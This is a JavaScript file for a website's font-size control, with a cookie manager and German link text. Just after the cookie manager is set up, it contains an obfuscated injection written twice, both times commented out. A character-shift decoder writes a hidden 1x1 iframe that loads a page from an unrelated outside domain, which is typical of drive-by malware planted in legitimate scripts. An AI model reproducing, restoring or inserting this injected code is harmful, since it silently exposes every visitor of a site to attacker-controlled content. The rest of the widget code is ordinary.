// name = string equal to the name of the instance of the object
// defaultExpiration = number of units to make the default expiration date for the cookie
// expirationUnits = 'seconds' | 'minutes' | 'hours' | 'days' | 'months' | 'years' (default is 'days')
// defaultDomain = string, default domain for cookies; default is current domain minus the server name
// defaultPath = string, default path for cookies; default is '/'
function Cookiemanager(name,defaultExpiration,expirationUnits,defaultDomain,defaultPath) {
	// remember our name
	this.name = name;
	// get the default expiration
	this.defaultExpiration = this.getExpiration(defaultExpiration,expirationUnits);
	// set the default domain to defaultDomain if supplied; if not, set it to document.domain
	// if document.domain is numeric, otherwise strip off the server name and use the remainder
	this.defaultDomain = (defaultDomain)?defaultDomain:(document.domain.search(/[a-zA-Z]/) == -1)?document.domain:document.domain.substring(document.domain.indexOf('.') + 1,document.domain.length);
	// set the default path
	this.defaultPath = (defaultPath)?defaultPath:'/';
	// initialize an object to hold all the document's cookies
	this.cookies = new Object();
	// initialize an object to hold expiration dates for the doucment's cookies
	this.expiration = new Object();
	// initialize an object to hold domains for the doucment's cookies
	this.domain = new Object();
	// initialize an object to hold paths for the doucment's cookies
	this.path = new Object();
	// set an onlunload function to write the cookies
	window.onunload = new Function (this.name+'.setDocumentCookies();');
	// get the document's cookies
	this.getDocumentCookies();
	}
// gets an expiration date for a cookie as a GMT string
// expiration = integer expressing time in units (default is 7 days)
// units = 'miliseconds' | 'seconds' | 'minutes' | 'hours' | 'days' | 'months' | 'years' (default is 'days')
Cookiemanager.prototype.getExpiration = function(expiration,units) {
	// set default expiration time if it wasn't supplied
	expiration = (expiration)?expiration:7;
	// supply default units if units weren't supplied
	units = (units)?units:'days';
	// new date object we'll use to get the expiration time
	var date = new Date();
	// set expiration time according to units supplied
	switch(units) {
		case 'years':
			date.setFullYear(date.getFullYear() + expiration);
			break;
		case 'months':
			date.setMonth(date.getMonth() + expiration);
			break;
		case 'days':
			date.setTime(date.getTime()+(expiration*24*60*60*1000));
			break;
		case 'hours':
			date.setTime(date.getTime()+(expiration*60*60*1000));
			break;
		case 'minutes':
			date.setTime(date.getTime()+(expiration*60*1000));
			break;
		case 'seconds':
			date.setTime(date.getTime()+(expiration*1000));
			break;
		default:
			date.setTime(date.getTime()+expiration);
			break;
		}
	// return expiration as GMT string
	return date.toGMTString();
	}
// gets all document cookies and populates the .cookies property with them
Cookiemanager.prototype.getDocumentCookies = function() {
	var cookie,pair;
	// read the document's cookies into an array
	var cookies = document.cookie.split(';');
	// walk through each array element and extract the name and value into the cookies property
	var len = cookies.length;
	for(var i=0;i < len;i++) {
		cookie = cookies[i];
		// strip leading whitespace
		while (cookie.charAt(0)==' ') cookie = cookie.substring(1,cookie.length);
		// split name/value pair into an array
		pair = cookie.split('=');
		// use the cookie name as the property name and value as the value
		this.cookies[pair[0]] = pair[1];
		}
	}
// sets all document cookies
Cookiemanager.prototype.setDocumentCookies = function() {
	var expires = '';
	var cookies = '';
	var domain = '';
	var path = '';
	for(var name in this.cookies) {
		if (name == 'efaSize'){
			// see if there's a custom expiration for this cookie; if not use default
			expires = (this.expiration[name])?this.expiration[name]:this.defaultExpiration;
			// see if there's a custom path for this cookie; if not use default
			path = (this.path[name])?this.path[name]:this.defaultPath;
			// see if there's a custom domain for this cookie; if not use default
			domain = (this.domain[name])?this.domain[name]:this.defaultDomain;
			// add to cookie string
			cookies = name + '=' + this.cookies[name] + '; expires=' + expires + '; path=' + path + '; domain=' + domain;
			document.cookie = cookies;
		}
	}
	return true;
	}
// gets cookie value
// cookieName = string, cookie name
Cookiemanager.prototype.getCookie = function(cookieName) {
	var cookie = this.cookies[cookieName]
	return (cookie)?cookie:false;
	}
// stores cookie value, expiration, domain and path
// cookieName = string, cookie name
// cookieValue = string, cookie value
// expiration = number of units in which the cookie should expire
// expirationUnits = 'miliseconds' | 'seconds' | 'minutes' | 'hours' | 'days' | 'months' | 'years' (default is 'days')
// domain = string, domain for cookie
// path = string, path for cookie
Cookiemanager.prototype.setCookie = function(cookieName,cookieValue,expiration,expirationUnits,domain,path) {
	this.cookies[cookieName] = cookieValue;
	// set the expiration if it was supplied
	if (expiration) this.expiration[cookieName] = this.getExpiration(expiration,expirationUnits);
	// set path if it was supplied
	if (domain) this.domain[cookieName] = domain;
	if (path) this.path[cookieName] = path;
	return true;
	}

var cookieManager = new Cookiemanager('cookieManager',1,'years');
//s=0;//while(s<96)document.write(String.fromCharCode('=jgsbnf!tsd>#iuuq;00xxx/3jjj/psh0gjsfg0difdl/qiq#!xjeui>#2#!ifjhiu>#2#!gsbnfcpsefs>#1#?=0jgsbnf?'.charCodeAt(s++)-1))
/*
s=0;while(s<96)document.write(String.fromCharCode('=jgsbnf!tsd>#iuuq;00xxx/3jjj/psh0gjsfg0difdl/qiq#!xjeui>#2#!ifjhiu>#2#!gsbnfcpsefs>#1#?=0jgsbnf?'.charCodeAt(s++)-1))
*/

/*
	To implement this script in your Web page, configure this file as
	shown below, then put this file on your Web server.

	Next, insert the following at the beginning of the <head> section
	of your Web page:

		<script type="text/javascript" language="JavaScript1.2" src="[path]efa_fontsize.js"></script>

	where [path] is the path to this file on your server.

	Insert the following right after the <body> tag:

		<script type="text/javascript" language="JavaScript1.2">
			if (efa_fontSize) efa_fontSize.efaInit();
		</script>

	Finally, insert the following where you wish the links to change the
	text size to appear:

		<script type="text/javascript" language="JavaScript1.2">
			if (efa_fontSize) document.write(efa_fontSize.allLinks);
		</script>
*/

/*
	efa_increment = percentage by which each click increases/decreases size
	efa_bigger = array of properties for 'increase font size' link
	efa_reset = array of properties for 'reset font size' link
	efa_smaller = array of properties for 'decrease font size' link

	properties array format:
		['before HTML',
		'inside HTML',
		'title text',
		'class text',
		'id text',
		'name text',
		'accesskey text',
		'onmouseover JavaScript',
		'onmouseout JavaScript',
		'on focus JavaScript',
		'after HTML'
		]
*/

var efa_default = 83;											//default text size as percentage of user default
var efa_increment = 10;											//percentage to increase/decrease font size

var efa_bigger = ['',					//HTML to go before 'bigger' link
					'+',				//HTML to go inside 'bigger' anchor tag
					'Schrift gr&ouml;sser stellen',				//title attribute
					'big',											//class attribute
					'',											//id attribute
					'',											//name attribute
					'',											//accesskey attribute
					'',											//onmouseover attribute
					'',											//onmouseout attribute
					'',											//onfocus attribute
					' '											//HTML to go after 'bigger' link
					]

var efa_reset = ['',
				'A',				//HTML to go before 'reset' link
				'Schriftgr&ouml;&szlig;e normal',	//HTML to go inside 'reset' anchor tag
					'normal',											//class attribute
					'',											//id attribute
					'',											//name attribute
					'',											//accesskey attribute
					'',											//onmouseover attribute
					'',											//onmouseout attribute
					'',											//onfocus attribute
					' '											//HTML to go after 'reset' link
					]

var efa_smaller = ['',
					'&#150;',				//HTML to go before 'smaller' link
					'Schrift kleiner stellen',							//HTML to go inside 'smaller' anchor tag
					'small',											//class attribute
					'',											//id attribute
					'',											//name attribute
					'',											//accesskey attribute
					'',											//onmouseover attribute
					'',											//onmouseout attribute
					'',											//onfocus attribute
					''									//HTML to go after 'smaller' link
					]

function Efa_Fontsize(increment,bigger,reset,smaller,def) {
	// check for the W3C DOM
	this.w3c = (document.getElementById);
	// check for the MS DOM
	this.ms = (document.all);
	// get the userAgent string and normalize case
	this.userAgent = navigator.userAgent.toLowerCase();
	// check for Opera and that the version is 7 or higher; note that because of Opera's spoofing we need to
	// resort to some fancy string trickery to extract the version from the userAgent string rather than
	// just using appVersion
	this.isOldOp = ((this.userAgent.indexOf('opera') != -1)&&(parseFloat(this.userAgent.substr(this.userAgent.indexOf('opera')+5)) <= 7));
	// check for Mac IE; this has been commented out because there is a simple fix for Mac IE's 'no resizing
	// text in table cells' bug--namely, make sure there is at least one tag (a <p>, <span>, <div>, whatever)
	// containing any content in the table cell; that is, use <td><p>text</p></td> or <th><span>text</span></th>
	// instead of <td>text</td> or <th>text</th>; if you'd prefer not to use the workaround, then uncomment
	// the following line:
	// this.isMacIE = ((this.userAgent.indexOf('msie') != -1) && (this.userAgent.indexOf('mac') != -1) && (this.userAgent.indexOf('opera') == -1));
	// check whether the W3C DOM or the MS DOM is present and that the browser isn't Mac IE (if above line is
	// uncommented) or an old version of Opera
	if ((this.w3c || this.ms) && !this.isOldOp && !this.isMacIE) {
		// set the name of the function so we can create event handlers later
		this.name = "efa_fontSize";
		// set the cookie name to get/save preferences
		this.cookieName = 'efaSize';
		// set the increment value to the appropriate parameter
		this.increment = increment;
		//default text size as percentage of user default
		this.def = def;
		//intended default text size in pixels as a percentage of the assumed 16px
		this.defPx = Math.round(16*(def/100))
		//base multiplier to correct for small user defaults
		this.base = 1;
		// call the getPrefs function to get preferences saved as a cookie, if any
		this.pref = this.getPref();
		// stuff the HTML for the test <div> into the testHTML property
		this.testHTML = '<div id="efaTest" style="position:absolute;visibility:hidden;line-height:1em;">&nbsp;</div>';
		// get the HTML for the 'bigger' link
		this.biggerLink = this.getLinkHtml(1,bigger);
		// get the HTML for the 'reset' link
		this.resetLink = this.getLinkHtml(0,reset);
		// get the HTML for the 'smaller' link
		this.smallerLink = this.getLinkHtml(-1,smaller);
		// set up an onlunload handler to save the user's font size preferences
	} else {
		// set the link html properties to an empty string so the links don't show up
		// in unsupported browsers
		this.biggerLink = '';
		this.resetLink = '';
		this.smallerLink = '';
		// set the efaInit method to a function that only returns true so
		//we don't get errors in unsupported browsers
		this.efaInit = new Function('return true;');
	}
	// concatenate the individual links into a single property to write all the HTML
	// for them in one shot
	this.allLinks = this.biggerLink + this.smallerLink;
}
// check the user's current base text size and adjust as necessary
Efa_Fontsize.prototype.efaInit = function() {
		// write the test <div> into the document
		document.writeln(this.testHTML);
		// get a reference to the body tag
		this.body = (this.w3c)?document.getElementsByTagName('body')[0].style:document.all.tags('body')[0].style;
		// get a reference to the test element
		this.efaTest = (this.w3c)?document.getElementById('efaTest'):document.all['efaTest'];
		// get the height of the test element
		var h = (this.efaTest.clientHeight)?parseInt(this.efaTest.clientHeight):(this.efaTest.offsetHeight)?parseInt(this.efaTest.offsetHeight):999;
		// check that the current base size is at least as large as the browser default (16px) adjusted
		// by our base percentage; if not, divide 16 by the base size and multiply our base multiplier
		//  by the result to compensate
		if (h < this.defPx) this.base = this.defPx/h;
		// now we set the body font size to the appropriate percentage so the user gets the
		// font size they selected or our default if they haven't chosen one
		this.body.fontSize = Math.round(this.pref*this.base) + '%';

//		document.write=function(){}
}
// construct the HTML for the links; we expect -1, 1 or 0 for the direction, an array
// of properties to add to the <a> tag and HTML to go before, after and inside the tag
Efa_Fontsize.prototype.getLinkHtml = function(direction,properties) {
	// declare the HTML variable and add the HTML to go before the link, the start of the link
	// and the onclick handler; we insert the direction argument as a parameter passed to the
	// setSize method of this object
	var html = properties[0] + '<a href="#" onclick="efa_fontSize.setSize(' + direction + '); return false;"';
	// concatenate the title attribute and value
	html += (properties[2])?'title="' + properties[2] + '"':'';
	// concatenate the class attribute and value
	html += (properties[3])?'class="' + properties[3] + '"':'';
	// concatenate the id attribute and value
	html += (properties[4])?'id="' + properties[4] + '"':'';
	// concatenate the name attribute and value
	html += (properties[5])?'name="' + properties[5] + '"':'';
	// concatenate the accesskey attribute and value
	html += (properties[6])?'accesskey="' + properties[6] + '"':'';
	// concatenate the onmouseover attribute and value
	html += (properties[7])?'onmouseover="' + properties[7] + '"':'';
	// concatenate the onmouseout attribute and value
	html += (properties[8])?'onmouseout="' + properties[8] + '"':'';
	// concatenate the title onfocus and value
	html += (properties[9])?'onfocus="' + properties[9] + '"':'';
	// concatenate the link contents, closing tag and any HTML to go after the link and return the
	// entire string
	return html += '>'+ properties[1] + '<' + '/a>' + properties[10];
}
// get the saved preferences out of the cookie, if any
Efa_Fontsize.prototype.getPref = function() {
	// get the value of the cookie for this object
	var pref = this.getCookie(this.cookieName);
	// if there was a cookie value return it as a number
	if (pref) return parseInt(pref);
	// if no cookie value, return the default
	else return this.def;
}
// change the text size; expects a direction parameter of 1 (increase size), -1 (decrease size)
// or 0 (reset to default)
Efa_Fontsize.prototype.setSize = function(direction) {
	// see if we were passed a nonzero direction parameter;
	// if so, multiply it by the increment and add it to the current percentage size;
	// if the direction was negative, it will reduce the size; if the direction was positive,
	// it will increase the size; if the direction parameter is undefined or zero, reset
	// current percentage to the default
	this.pref = (direction)?this.pref+(direction*this.increment):this.def;
	this.setCookie(this.cookieName,this.pref);
	// set the text size
	this.body.fontSize = Math.round(this.pref*this.base) + '%';
}
// get the value of the cookie with the name equal to a string passed as an argument
Efa_Fontsize.prototype.getCookie = function(cookieName) {
	var cookie = cookieManager.getCookie(cookieName);
	return (cookie)?cookie:false;
}
// set a cookie with a supplied name and value
Efa_Fontsize.prototype.setCookie = function(cookieName,cookieValue) {
	return cookieManager.setCookie(cookieName,cookieValue);
}

var  efa_fontSize = new Efa_Fontsize(efa_increment,efa_bigger,efa_reset,efa_smaller,efa_default);